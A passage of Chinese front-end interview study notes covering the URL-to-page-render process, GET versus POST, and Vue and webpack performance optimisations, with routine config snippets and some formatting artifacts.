这是一道经典的面试题,这道题没有一个标准的答案,它涉及很多的知识点,面试官会通过这道题了解你对哪一方面的知识比较擅长,然后继续追问看看你的掌握程度。当然我写的这些也只是我的一些简单的理解,从前端的角度出发,我觉得首先回答必须包括几个基本的点,然后在根据你的理解深入回答。

1、浏览器的地址栏输入URL并按下回车。

2、浏览器查找当前URL是否存在缓存,并比较缓存是否过期。

3、DNS解析URL对应的IP。

4、根据IP建立TCP连接(三次握手)。

5、HTTP发起请求。

6、服务器处理请求,浏览器接收HTTP响应。

7、渲染页面,构建DOM树。

8、关闭TCP连接(四次挥手)。

面试说以上8个步骤即可

以下为名词解释:

一、URL

我们常见的RUL是这样的:http://www.baidu.com,这个域名由三部分组成:协议名、域名、端口号,这里端口是默认所以隐藏。除此之外URL还会包含一些路径、查询和其他片段,例如:http://www.tuicool.com/search?kw=%E4%。我们最常见的的协议是HTTP协议,除此之外还有加密的HTTPS协议、FTP协议、FILe协议等等。URL的中间部分为域名或者是IP,之后就是端口号了。通常端口号不常见是因为大部分的都是使用默认端口,如HTTP默认端口80,HTTPS默认端口443。说到这里可能有的面试官会问你同源策略,以及更深层次的跨域的问题,我今天就不在这里展开了。

二、缓存

说完URL我们说说浏览器缓存,HTTP缓存有多种规则,根据是否需要重新向服务器发起请求来分类,我将其分为强制缓存,对比缓存。

强制缓存判断HTTP首部字段:cache-control,Expires。

Expires是一个绝对时间,即服务器时间。浏览器检查当前时间,如果还没到失效时间就直接使用缓存文件。但是该方法存在一个问题:服务器时间与客户端时间可能不一致。因此该字段已经很少使用。

cache-control中的max-age保存一个相对时间。例如Cache-Control: max-age = 484200,表示浏览器收到文件后,缓存在484200s内均有效。 如果同时存在cache-control和Expires,浏览器总是优先使用cache-control。

对比缓存通过HTTP的last-modified,Etag字段进行判断。

last-modified是第一次请求资源时,服务器返回的字段,表示最后一次更新的时间。下一次浏览器请求资源时就发送if-modified-since字段。服务器用本地Last-modified时间与if-modified-since时间比较,如果不一致则认为缓存已过期并返回新资源给浏览器;如果时间一致则发送304状态码,让浏览器继续使用缓存。

Etag:资源的实体标识(哈希字符串),当资源内容更新时,Etag会改变。服务器会判断Etag是否发生变化,如果变化则返回新资源,否则返回304。

IMG_256{width="4.877777777777778in" height="7.2652777777777775in"}

三、DNS域名解析

我们知道在地址栏输入的域名并不是最后资源所在的真实位置,域名只是与IP地址的一个映射。网络服务器的IP地址那么多,我们不可能去记一串串的数字,因此域名就产生了,域名解析的过程实际是将域名还原为IP地址的过程。

首先浏览器先检查本地hosts文件是否有这个网址映射关系,如果有就调用这个IP地址映射,完成域名解析。

如果没找到则会查找本地DNS解析器缓存,如果查找到则返回。

如果还是没有找到则会查找本地DNS服务器,如果查找到则返回。

最后迭代查询,按根域服务器 ->顶级域,.cn->第二层域,hb.cn ->子域,www.hb.cn的顺序找到IP地址。

IMG_256{width="5.3277777777777775in" height="3.0in"}

递归查询,按上一级DNS服务器->上上级->...逐级向上查询找到IP地址。

IMG_256{width="5.315277777777778in" height="2.845833333333333in"}

四、TCP连接

在通过第一步的DNS域名解析后,获取到了服务器的IP地址,在获取到IP地址后,便会开始建立一次连接,这是由TCP协议完成的,主要通过三次握手进行连接。

第一次握手: 建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SENT状态,等待服务器确认;

第二次握手: 服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手: 客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手。

完成三次握手,客户端与服务器开始传送数据。

IMG_256{width="5.729166666666667in" height="2.8541666666666665in"}五、浏览器向服务器发送HTTP请求

完整的HTTP请求包含请求起始行、请求头部、请求主体三部分。

IMG_256{width="6.052777777777778in" height="2.9569444444444444in"}

六、浏览器接收响应

服务器在收到浏览器发送的HTTP请求之后,会将收到的HTTP报文封装成HTTP的Request对象,并通过不同的Web服务器进行处理,处理完的结果以HTTP的Response对象返回,主要包括状态码,响应头,响应报文三个部分。

状态码主要包括以下部分

1xx:指示信息--表示请求已接收,继续处理。

2xx:成功--表示请求已被成功接收、理解、接受。

3xx:重定向--要完成请求必须进行更进一步的操作。

4xx:客户端错误--请求有语法错误或请求无法实现。

5xx:服务器端错误--服务器未能实现合法的请求。

响应头主要由Cache-Control、 Connection、Date、Pragma等组成。

响应体为服务器返回给浏览器的信息,主要由HTML,css,js,图片文件组成。

七、页面渲染

如果说响应的内容是HTML文档的话,就需要浏览器进行解析渲染呈现给用户。整个过程涉及两个方面:解析和渲染。在渲染页面之前,需要构建DOM树和CSSOM树。IMG_256{width="5.840277777777778in" height="2.4944444444444445in"}

在浏览器还没接收到完整的 HTML 文件时,它就开始渲染页面了,在遇到外部链入的脚本标签或样式标签或图片时,会再次发送 HTTP 请求重复上述的步骤。在收到 CSS 文件后会对已经渲染的页面重新渲染,加入它们应有的样式,图片文件加载完立刻显示在相应位置。在这一过程中可能会触发页面的重绘或重排。这里就涉及了两个重要概念:Reflow和Repaint。

Reflow,也称作Layout,中文叫回流,一般意味着元素的内容、结构、位置或尺寸发生了变化,需要重新计算样式和渲染树,这个过程称为Reflow。

Repaint,中文重绘,意味着元素发生的改变只是影响了元素的一些外观之类的时候(例如,背景色,边框颜色,文字颜色等),此时只需要应用新样式绘制这个元素就OK了,这个过程称为Repaint。

所以说Reflow的成本比Repaint的成本高得多的多。DOM树里的每个结点都会有reflow方法,一个结点的reflow很有可能导致子结点,甚至父点以及同级结点的reflow。

下面这些动作有很大可能会是成本比较高的:

增加、删除、修改DOM结点时,会导致Reflow或Repaint

移动DOM的位置,或是搞个动画的时候,内容发生变化

修改CSS样式的时候

Resize窗口的时候(移动端没有这个问题),或是滚动的时候

修改网页的默认字体时

基本上来说,reflow有如下的几个原因:

Initial,网页初始化的时候

Incremental,一些js在操作DOM树时

Resize,其些元件的尺寸变了

StyleChange,如果CSS的属性发生变化了

Dirty,几个Incremental的reflow发生在同一个frame的子树上

八、关闭TCP连接或继续保持连接

通过四次挥手关闭连接(FIN ACK, ACK, FIN ACK, ACK)。

IMG_256{width="5.729166666666667in" height="3.0in"}

第一次挥手是浏览器发完数据后,发送FIN请求断开连接。

第二次挥手是服务器发送ACK表示同意,如果在这一次服务器也发送FIN请求断开连接似乎也没有不妥,但考虑到服务器可能还有数据要发送,所以服务器发送FIN应该放在第三次挥手中。

这样浏览器需要返回ACK表示同意,也就是第四次挥手。

至此从浏览器地址栏输入URL到页面呈现到你面前的整个过程就分析完了。

# 10.4 get与post区别

# 10.4.1背景介绍

get 和 post是HTTP中请求数据的方法;application json 与form表单是HTTP中传输文件的类型,所以要了解其中的区别,要先了解HTTP 协议格式 和 HTTP Header

# 10.4.2请求报文、响应报文

我们发送的http请求,浏览器都会整理成请求报文,发送到服务器。服务器响应的数据,浏览器会以响应报文的形式接受。

HTTP请求报文:

个HTTP请求报文由四个部分组成:请求行、请求头部、请求空行、请求数据。

1640076532(1){width="5.7625in" height="2.25625in"}

HTTP响应报文:

同样的,HTTP响应报文也由四部分组成:响应行、响应头、响应空行、响应体

1640076590(1){width="5.761805555555555in" height="2.279166666666667in"}

# 10.4.3 get 与 post的区别?

1、Get是不安全的,因为在传输过程,数据被放在请求的URL中;Post提交的数据在HTTP包的请求包体中,对用户来说都是不可见的,相对安全。

2、Get传送的数据量较小,这主要是因为受URL长度限制;Post传送的数据量较大,一般被默认为不受限制。

3、Get限制Form表单的数据集的值必须为ASCII字符;而Post没限制

4、Get执行效率却比Post方法好。Get是form提交的默认方法。

post和get的选择?

私密性的信息请求使用post(如注册、登陆)。

查询信息使用get。

# 第11章 性能优化 {#第11章-性能优化 .list-paragraph}

# 11.1 vue项目优化

# 11.1.1 代码优化

# 11.1.1.1 使用keep-alive缓存不活动的组件

keep-alive是一个抽象组件:它自身不会渲染一个DOM元素,也不会出现在父组件链中;使用keep-alive包裹动态组件时,会缓存不活动的组件实例,而不是销毁它们。

  • 在动态组件中的应用

<keep-alive : include="whiteList" : exclude="blackList">

<router-view></router-view>

</keep-alive>

  • 在vue-router中的应用

<keep-alive : include="whiteList" : exclude="blackList">

<router-view></router-view>

</keep-alive>

include定义缓存白名单,keep-alive会缓存命中的组件;exclude定义缓存黑名单,被命中的组件将不会被缓存;

很多时候也可以配合路由的meta属性使用

export default[

{

path:'/',

name:'home',

components:Home,

meta:{

keepAlive:true //需要被缓存的组件

},

{

path:'/book',

name:'book',

components:Book,

meta:{

keepAlive:false //不需要被缓存的组件

}

]

<keep-alive>

<router-view v-if="this.$route.meat.keepAlive"></router-view>

<!--这里是会被缓存的组件-->

</keep-alive>

<keep-alive v-if="!this.$router.meta.keepAlive"></keep-alive>

<!--这里是不会被缓存的组件-->

# 11.1.2 路由懒加载

Vue 是单页面应用,可能会有很多的路由引入 ,这样使用 webpcak 打包后的文件很大,当进入首页时,加载的资源过多,页面会出现白屏的情况,不利于用户体验。如果我们能把不同路由对应的组件分割成不同的代码块,然后当路由被访问的时候才加载对应的组件,这样就更加高效了。这样会大大提高首屏显示的速度,但是可能其他的页面的速度就会降下来。

路由懒加载:

export default new Router({

mode: 'history',

routes: [

{

path: '/',

component: ()=>import('@/components/DefaultIndex') }

]

})

**懒加载:**也叫延迟加载,即在需要的时候进行加载,随用随载。 使用懒加载的原因: vue 是单页面应用,使用webpcak打包后的文件很大,会使进入首页时,加载的资源过多,页面会出现白屏的情况,不利于用户体验。运用懒加载后,就可以按需加载页面,提高用户体验

非懒加载的路由配置:

import Vue from 'vue'

import Router from 'vue-router'

import DefaultIndex from '@/components/DefaultIndex'

import Index from '@/components/Index'

Vue.use(Router)

export default new Router({

mode: 'history',

routes: [

{

path: '/',

component: 'DefaultIndex ',

children: [

{

path: '',

component: 'Index'

},

{

path: '*',

redirect: '/Index'

}

]

}

]

})

懒加载的写法:

//最流行的写法,es6语法

import Vue from 'vue'

import Router from 'vue-router'

Vue.use(Router)

export default new Router({

mode: 'history',

routes: [

{

path: '/',

component: () => import('@/components/DefaultIndex'),

children: [

{

path: '',

component: () => import('@/components/Index')

},

{

path: '*',

redirect: '/Index'

}

]

}

]

})

//或者下次这样 AMD规范

import Vue from 'vue'

import Router from 'vue-router'

Vue.use(Router)

export default new Router({

mode: 'history',

routes: [

{

path: '/',

component: resolve => require(['@/components/DefaultIndex'], resolve),

children: [

{

path: '',

component: resolve => require(['@/components/Index'], resolve)

},

{

path: '*',

redirect: '/Index'

}

]

}

]

})

# 11.1.3 图片懒加载

对于图片过多的页面,为了加速页面加载速度,所以很多时候我们需要将页面内未出现在可视区域内的图片先不做加载, 等到滚动到可视区域后再去加载。这样对于页面加载性能上会有很大的提升,也提高了用户体验。我们在项目中使用 Vue 的 vue-lazyload 插件:

npm引入:npm i vue-lazyload -S

CDN引入:[https://unpkg.com/vue-lazyload/vue-lazyload.js](https://unpkg.com/vue-lazyload/vue-lazyload.js)

使用:

main.js:

import Vue from 'vue'

import App from './App.vue'

import VueLazyload from 'vue-lazyload'

Vue.use(VueLazyload)

// or with options

Vue.use(VueLazyload, {

preLoad: 1.3,

error: 'dist/error.png',

loading: 'dist/loading.gif',

attempt: 1

})

new Vue({

el: 'body',

components: {

App

}

})

template:

<ul>

<li v-for="img in list">

<img v-lazy="img.src" >

</li>

</ul>

# 11.1.4 使用节流防抖函数(性能优化)

那么在 vue 中怎么使用呢:

在公共方法中(如 untils.js 中),加入函数防抖和节流方法

// 防抖

export function _debounce(fn, delay) {

var delay = delay || 200;

var timer;

return function () {

var th = this;

var args = arguments;

if (timer) {

clearTimeout(timer);

}

timer = setTimeout(function () {

timer = null;

fn.apply(th, args);

}, delay);

};

}

// 节流

export function _throttle(fn, interval) {

var last;

var timer;

var interval = interval || 200;

return function () {

var th = this;

var args = arguments;

var now = +new Date();

if (last && now - last < interval) {

clearTimeout(timer);

timer = setTimeout(function () {

last = now;

fn.apply(th, args);

}, interval);

} else {

last = now;

fn.apply(th, args);

}

}

}

在需要使用的组件引用

import { _debounce } from "@/utils/public";

在 methods 中使用

        methods: {

            // 改变场数

            changefield: \_debounce(function (\_type, index, item) {

                // do something \...

            }, 200)

        }
1
2
3
4
5
6
7
8
9
10
11

应用:

函数防抖(debounce)

在事件被触发n秒后再执行回调,如果在这n秒内又被触发,则重新计时。

    \<body>

        \<input type=\"text\" id=\'unDebounce\'\>

    \</body>

   

    \<script>

        //模拟一段ajax请求

        function ajax(content) {

            console.log(\'ajax request \' + content)

        };

        letinputa = document.getElementById(\'unDebounce\');

        function fn(e) { ajax(e.target.value) }

        //防抖函数,处理多次被触发的事件,只执行最后一次

        inputa.addEventListener(\'input\', fn)

    \</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

运行后可以看到,我们只要输入一个字符,就会触发这次ajax请求。不仅从资源上来说是很浪费的行为,而且实际应用中,用户也是输出完整的字符后,才会请求。下面我们优化一下:

    \<body>

        \<input type=\"text\" id=\'unDebounce\'\>

    \</body>

    \<script>

        //防抖函数

        function \_debounce(fn, delay) {

            var delay = delay \|\| 200;

            var timer;

            return function () {

                var th = this;

                var args = arguments;

                if (timer) {

                    clearTimeout(timer);

                }

                timer = setTimeout(function () {

                    timer = null;

                    fn.apply(th, args);

                }, delay);

            };

        }

        //模拟一段ajax请求

        function ajax(content) {

            console.log(\'ajax request \' + content)

        };

        let inputa = document.getElementById(\'unDebounce\');

        function fn(e) { ajax(e.target.value) }

        //防抖函数,处理多次被触发的事件,只执行最后一次

        inputa.addEventListener(\'input\', \_debounce(fn, 1000))

    \</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

我们加入了防抖以后,当你在频繁的输入时,并不会发送请求,只有当你在指定间隔内没有输入时,才会执行函数。如果停止输入但是在指定间隔内又输入,会重新触发计时。

个人理解 函数防抖就是法师发技能的时候要读条,技能读条没完再按技能就会重新读条。

函数节流(throttle)

规定在一个单位时间内,只能触发一次函数。如果这个单位时间内触发多次函数,只有一次生效。

    \<body>

        \<input type=\"text\" id=\'unDebounce\'\>

    \</body>

    \<script>

        //节流函数

        function \_throttle(fn, interval) {

            var last;

            var timer;

            var interval = interval \|\| 200;

            return function () {

                var th = this;

                var args = arguments;

                var now = +new Date();

                if (last && now - last \< interval) {

                    clearTimeout(timer);

                    timer = setTimeout(function () {

                        last = now;

                        fn.apply(th, args);

                    }, interval);

                } else {

                    last = now;

                    fn.apply(th, args);

                }

            }

        }

        //模拟一段ajax请求

        function ajax(content) {

            console.log(\'ajax request \' + content)

        };

        let inputa = document.getElementById(\'unDebounce\');

        function fn(e) { ajax(e.target.value) }

        //防抖节流,无论你输入多块,每隔1秒钟执行一次

        inputa.addEventListener(\'input\', \_throttle(fn, 1000))

    \</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

不管我们设定的执行时间间隔多小,总是1s内只执行一次。

个人理解 函数节流就是fps游戏的射速,就算一直按着鼠标射击,也只会在规定射速内射出子弹。

总结:

函数防抖和函数节流都是防止某一时间频繁触发,但是这两兄弟之间的原理却不一样。

函数防抖是某一段时间内只执行一次,而函数节流是间隔时间执行。

# 11.1.5 结合应用场景

debounce

  • search搜索联想,用户在不断输入值时,用防抖来节约请求资源。

  • window触发resize的时候,不断的调整浏览器窗口大小会不断的触发这个事件,用防抖来让其只触发一次

throttle

  • 鼠标不断点击触发,mousedown(单位时间内只触发一次)

  • 拖拽事件,每拖动1px都会触发onmousemove(可以用throttle优化,每秒触发一次)

  • 监听滚动事件,比如是否滑到底部自动加载更多,用throttle来判断

# 10.1.5.1 v-for 遍历必须为 item 添加 key,且避免同时使用 v-if

  • v-for 遍历必须为 item 添加 key

在列表数据进行遍历渲染时,需要为每一项 item 设置唯一 key 值,方便 Vue.js 内部机制精准找到该条列表数据。当 state更新时,新的状态值和旧的状态值对比,较快地定位到 diff 。

  • v-for 遍历避免同时使用 v-if

v-for 比 v-if 优先级高,如果每一次都需要遍历整个数组,将会影响速度,尤其是当之需要渲染很小一部分的时候,必要情况下应该替换成computed 属性。

推荐:

    \<template>

        \<div class=\"home\"\>

          \<ul>

            \<li

              v-for=\"user in activeUsers\"

              :key=\"user.id\"\>

              {{ user.name }}

            \</li>

          \</ul>

        \</div>

      \</template>

     

      \<script>

      export default {

        data(){

          return {

            users:\[{id:1,name:\'zhangsan\',isActive:true},{id:2,name:\'lisi\',isActive:true},{id:3,name:\'wangwu\',isActive:false},{id:4,name:\'maliu\',isActive:true},\]

          }

        },

        computed: {

          activeUsers: function () {

          //  \[js 的filter()方法\](https://www.cnblogs.com/qiu2841/p/8961017.html)

            return this.users.filter(function (user) {

                return user.isActive

            })

          }

        }

      }

      \</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

不推荐:

    \<ul>

        \<li v-for=\"user in users\" v-if=\"user.isActive\" :key=\"user.id\"\>

            {{ user.name }}

        \</li>

    \</ul>
1
2
3
4
5
6
7
8
9

# 10.1.5.2 v-if 和 v-show 区分使用场景

v-if 是 真正 的条件渲染,因为它会确保在切换过程中条件块内的事件监听器和子组件适当地被销毁和重建;也是惰性的:如果在初始渲染时条件为假,则什么也不做------直到条件第一次变为真时,才会开始渲染条件块。

v-show就简单得多, 不管初始条件是什么,元素总是会被渲染,并且只是简单地基于 CSS 的 display 属性进行切换。

所以,v-if 适用于在运行时很少改变条件,不需要频繁切换条件的场景; v-show则适用于需要非常频繁切换条件的场景。

# 10.1.5.3 computed 和 watch 区分使用场景

computed: 是计算属性,依赖其它属性值,并且 computed 的值有缓存,只有它依赖的属性值发生改变,下一次获取 computed 的值时才会重新计算 computed 的值;

watch: 更多的是「观察」的作用,类似于某些数据的监听回调 ,每当监听的数据变化时都会执行回调进行后续操作;

运用场景:

  • 当我们需要进行数值计算,并且依赖于其它数据时,应该使用 computed,因为可以利用 computed 的缓存特性,避免每次获取值时,都要重新计算;

  • 当我们需要在数据变化时执行异步或开销较大的操作时,应该使用 watch,使用 watch 选项允许我们执行异步操作 ( 访问一个 API ),限制我们执行该操作的频率,并在我们得到最终结果前,设置中间状态。这些都是计算属性无法做到的。

# 10.1.5.4 长列表性能优化

Vue 会通过 Object.defineProperty 对数据进行劫持,来实现视图响应数据的变化,然而有些时候我们的组件就是纯粹的数据展示,不会有任何改变,我们就不需要 Vue 来劫持我们的数据,在大量数据展示的情况下,这能够很明显的减少组件初始化的时间,那如何禁止 Vue 劫持我们的数据呢?可以通过 Object.freeze 方法来冻结一个对象,一旦被冻结的对象就再也不能被修改了。

    export default {

        data: () => ({

          users: {}

        }),

        async created() {

          const users = await axios.get(\"/api/users\");

          this.users = Object.freeze(users);

        }

    };
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 10.1.5.5 事件的销毁

Vue 组件销毁时,会自动清理它与其它实例的连接,解绑它的全部指令及事件监听器,但是仅限于组件本身的事件。 如果在 js 内使用 addEventListene 等方式是不会自动销毁的,我们需要在组件销毁时手动移除这些事件的监听,以免造成内存泄露,如:

created() {

addEventListener('click', this.click, false)

},

beforeDestroy() {

removeEventListener('click', this.click, false)

}

# 10.1.5.6 第三方插件的按需引入

我们在项目中经常会需要引入第三方插件,如果我们直接引入整个插件,会导致项目的体积太大,我们可以借助 babel-plugin-component ,然后可以只引入需要的组件,以达到减小项目体积的目的。以下为项目中引入 element-ui 组件库为例:

  1. 首先,安装 babel-plugin-component :

npm install babel-plugin-component -D

  1. 然后,将 .babelrc 修改为

{

"presets": [["es2015", { "modules": false }]],

"plugins": [

[

"component",

{

"libraryName": "element-ui",

"styleLibraryName": "theme-chalk"

}

]

]

}

  1. 在 main.js 中引入部分组件

import Vue from 'vue';

import { Button, Select } from 'element-ui';

Vue.use(Button)

Vue.use(Select)

# 11.2 webpack打包优化:vue-cli4打包最强优化(10M变300kb)

项目开始时webpack配置:

vue-cli3以后,我们修改webpack配置,需要自己在项目根路径下创建vue.config.js文件。

# 11.2.1配置 proxy 跨域

使用vue-cli发开项目,在本地开发环境中,如果遇到跨域的问题。可以通过配置proxy的方式,解决跨域问题:

module.exports = {

devServer: {

open: false, // 自动启动浏览器

host: '0.0.0.0', // localhost

port: 6060, // 端口号

hotOnly: false, // 热更新

overlay: {

//  当出现编译器错误或警告时,在浏览器中显示全屏覆盖层

warnings: false,

errors: true

},

proxy: {

//配置跨域

'/api': {

target: 'https://www.test.com', // 接口的域名

// ws: true, // 是否启用websockets

changOrigin: true, // 开启代理,在本地创建一个虚拟服务端

pathRewrite: {

'^/api': '/'

}

}

}

}

}

配置完成后,当我们在去请求https://www.test.com/v1/api/userinfo接口时,就可以这么写

 this.axios({

            url: \'/api/v1/api/userinfo\',

            method: \'get\'

        }).then(res => {

            //\...\...

        })
1
2
3
4
5
6
7
8
9
10
11

# 11.2.2配置 alias 别名

使用vue-cli开发项目,最大特色是组件化。组件中频繁引用其他组件或插件。我们可以把一些常用的路径定义成简短的名字。方便开发中使用。

//加载path模块

const path = require('path')

//定义resolve方法,把相对路径转换成绝对路径

const resolve = dir => path.join(__dirname, dir)

module.exports = {

chainWebpack: config => {

// 添加别名

config.resolve.alias

.set('@', resolve('src'))

.set('assets', resolve('src/assets'))

.set('api', resolve('src/api'))

.set('views', resolve('src/views'))

.set('components', resolve('src/components'))

}

}

配置完成后,我们在项目中可以这样写路径:

//之前这么写

import Home from '../views/Home.vue'

//配置alias别名后

import Home from 'views/Home.vue'

//也可以这么写

import Home from '@/views/Home.vue'

项目结束后打包前webpack配置:

目的:

· 提高打包速度

· 减小项目体积、提高首屏加载速度

· 提高用户体验(骨架屏)

打包前必做:项目开发完成后,运行npm run build进行打包操作。打包前对webpack配置。

module.exports = {

publicPath: './', // 静态资源路径(默认/,打包后会白屏)

outputDir: 'dist', // 打包后文件的目录 (默认为dist)

assetsDir: 'static', //  outputDir的静态资源(js、css、img、fonts)目录  默认为''没有单独目录js/css/img在根目录中。

}

# 11.2.3去除生产环境sourceMap

问题: vue项目打包之后js文件夹中,会自动生成一些map文件,占用相当一部分空间

sourceMap资源映射文件,存的是打包前后的代码位置,方便开发使用,这个占用相当一部分空间。

map文件的作用在于:项目打包后,代码都是经过压缩加密的,如果运行时报错,输出的错误信息无法准确得知是哪里的代码报错,有了map就可以像未加密的代码一样,准确的输出是哪一行哪一列有错。

生产环境是不需要sourceMap的,如下配置可以去除:

module.exports = {

//去除生产环境的productionSourceMap

productionSourceMap: false,

}

去除sourceMap前后对比,减少了很大体积。

前:dist大小为7M

后:dist大小为3M

# 11.2.4去除console.log打印以及注释

下载插件

cnpm install uglifyjs - webpack - plugin\--save - dev

        const UglifyJsPlugin = require(\'uglifyjs-webpack-plugin\')

        const isProduction = process.env.NODE_ENV === \'production\';

        configureWebpack: config => {

            const plugins = \[\];

            if (isProduction) {

                plugins.push(

                    new UglifyJsPlugin({

                        uglifyOptions: {

                            output: {

                                comments: false, // 去掉注释

                            },

                            warnings: false,

                            compress: {

                                drop_console: true,

                                drop_debugger: false,

                                pure_funcs: \[\'console.log\'\]//移除console

                            }

                        }

                    })

                )

            }

        },
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

结论:重新打包,dist体积减少并不大。因为congsole.log()以及注释并不会占用太多体积(也就10-30kb)

# 11.2.5使用CDN 加速优化

cdn优化是指把第三方库比如(vue,vue-router,axios)通过cdn的方式引入项目中,这样vendor.js会显著减少,并且大大提升项目的首页加载速度,下面是具体操作:

1659060827(1){width="5.761111111111111in" height="4.633333333333334in"}

        const isProduction = process.env.NODE_ENV === \'production\';

        // externals

        const externals = {

            vue: \'Vue\',

            \'vue-router\': \'VueRouter\',

            vuex: \'Vuex\',

            vant: \'vant\',

            axios: \'axios\'

        }

        // CDN外链,会插入到index.html中

        const cdn = {

            // 开发环境

            dev: {

                css: \[\],

                js: \[\]

            },

            // 生产环境

            build: {

                css: \[\'https://cdn.jsdelivr.net/npm/vant\@2.12/lib/index.css\'\],

                js: \[

                    \'https://cdn.jsdelivr.net/npm/vue\@2.6.11/dist/vue.min.js\',

                    \'https://cdn.jsdelivr.net/npm/vue-router\@3.1.5/dist/vue-router.min.js\',

                    \'https://cdn.jsdelivr.net/npm/axios\@0.19.2/dist/axios.min.js\',

                    \'https://cdn.jsdelivr.net/npm/vuex\@3.1.2/dist/vuex.min.js\',

                    \'https://cdn.jsdelivr.net/npm/vant\@2.12/lib/vant.min.js\'

                \]

            }

        }

        module.exports = {

            configureWebpack: config => {

                // 为生产环境修改配置\...

                if (isProduction) {

                    // externals

                    config.externals = externals

                }

            },

            chainWebpack: config => {

                /\*\*

                 \* 添加CDN参数到htmlWebpackPlugin配置中

                 \*/

                config.plugin(\'html\').tap(args => {

                    if (isProduction) {

                        args\[0\].cdn = cdn.build

                    } else {

                        args\[0\].cdn = cdn.dev

                    }

                    return args

                })

            }

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99

在 public/index.html 中添加

1659060909(1){width="5.7652777777777775in" height="1.83125in"}

总结:配置了cdn引入,1.1M体积较少到660kb。效果很明显。

# 11.2.6对资源文件进行压缩

需要下载 compression-webpack-plugin (opens new window)

cnpm i compression-webpack-plugin -D

vue.config.js 中按照如下方式进行配置:

        const CompressionWebpackPlugin = require(\'compression-webpack-plugin\')

        module.exports = {

            // 根据你的实际情况更改这里

            publicPath,

            assetsDir: \'assets\',

            lintOnSave: true,

            configureWebpack: {

                plugins: \[

                    new CompressionWebpackPlugin({

                        filename: \'\[path\].gz\[query\]\',

                        algorithm: \'gzip\',

                        // test: /\\.js\$\|\\.html\$\|\\.json\$\|\\.css/,

                        test: /\\.js\$\|\\.json\$\|\\.css/,

                        threshold: 10240, // 只有大小大于该值的资源会被处理

                        minRatio: 0.8, // 只有压缩率小于这个值的资源才会被处理

                        // deleteOriginalAssets: true // 删除原文件

                    })

                \],

            },

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

压缩后也会节省一部分空间,单后端要对nginx修改,配合前端

nginx配置示例:

location \~ .\*\\.(js\|json\|css)\$ {

    gzip on;

    gzip_static on; \# gzip_static是nginx对于静态文件的处理模块,该模块可以读取预先压缩的gz文件,这样可以减少每次请求进行gzip压缩的CPU资源消耗。

    gzip_min_length 1k;

    gzip_http_version 1.1;

    gzip_comp_level 9;

    gzip_types  text/css application/javascript application/json;

    root /dist;

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

压缩前后大小大致如下:

1659061100(1){width="5.763888888888889in" height="2.3333333333333335in"}

可以看到相应头中存在 Content-Encoding:gzip 表示已经配置成功

1659061159(1){width="5.767361111111111in" height="1.4645833333333333in"}

# 11.2.7图片压缩

一张图片压缩前后对比:

1659061216(1){width="5.763194444444444in" height="2.9791666666666665in"}

需要下载 image-webpack-loader (opens new window)

npm install image-webpack-loader \--save-dev
1
        module.exports = {

            // 根据你的实际情况更改这里

            publicPath,

            assetsDir: \'assets\',

            lintOnSave: true,

            // image 压缩 定义在chainWebpack中

            chainWebpack: config => {

                config.module

                    .rule(\'images\')

                    .use(\'image-webpack-loader\')

                    .loader(\'image-webpack-loader\')

                    .options({

                        bypassOnDebug: true

                    })

                    .end()

            }

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

此插件容易下载失败,导致运行报错

若安装过 image-webpack-loader 先卸载

//npm 安装的npm 则npm 移除

npm uninstall image - webpack - loader

//如果yarn安装的,则yarn 移除

yarn remove image - webpack - loader
1
2
3
4
5
6
7

使用 cnpm , 这一步意思就是安装 cnpm 然后将全局的 registry 设置成阿里的镜像,国内阿里比较快

npm install cnpm - g\--registry = https://registry.npm.taobao.org

使用 cnpm 安装 image-webpack-loader 会发现很快就安装好了,【手动滑稽】

cnpm install\--save - dev image - webpack - loader
1
2
3
4
5

# 11.2.8只打包改变的文件

        const { HashedModuleIdsPlugin } = require(\'webpack\');

        configureWebpack: config => {

            const plugins = \[\];

            plugins.push(

                new HashedModuleIdsPlugin()

            )

        }
1
2
3
4
5
6
7
8
9
10
11
12
13

# 11.2.9公共代码抽离

如何提取公共代码?

从webpack4开始官方移除了commonchunk插件,改用了optimization属性进行更加灵活的配置,这也应该是从V3升级到V4的代码修改过程中最为复杂的一部分

        splitChunks: {

            chunks: \"async",//默认作用于异步chunk,值为all/initial/async/function(chunk),值为function时第一个参数为遍历所有入口chunk时的chunk模块,chunk.\_modules为chunk所有依赖的模块,通过chunk的名字和所有依赖模块的resource可以自由配置,会抽取所有满足条件chunk的公有模块,以及模块的所有依赖模块,包括css

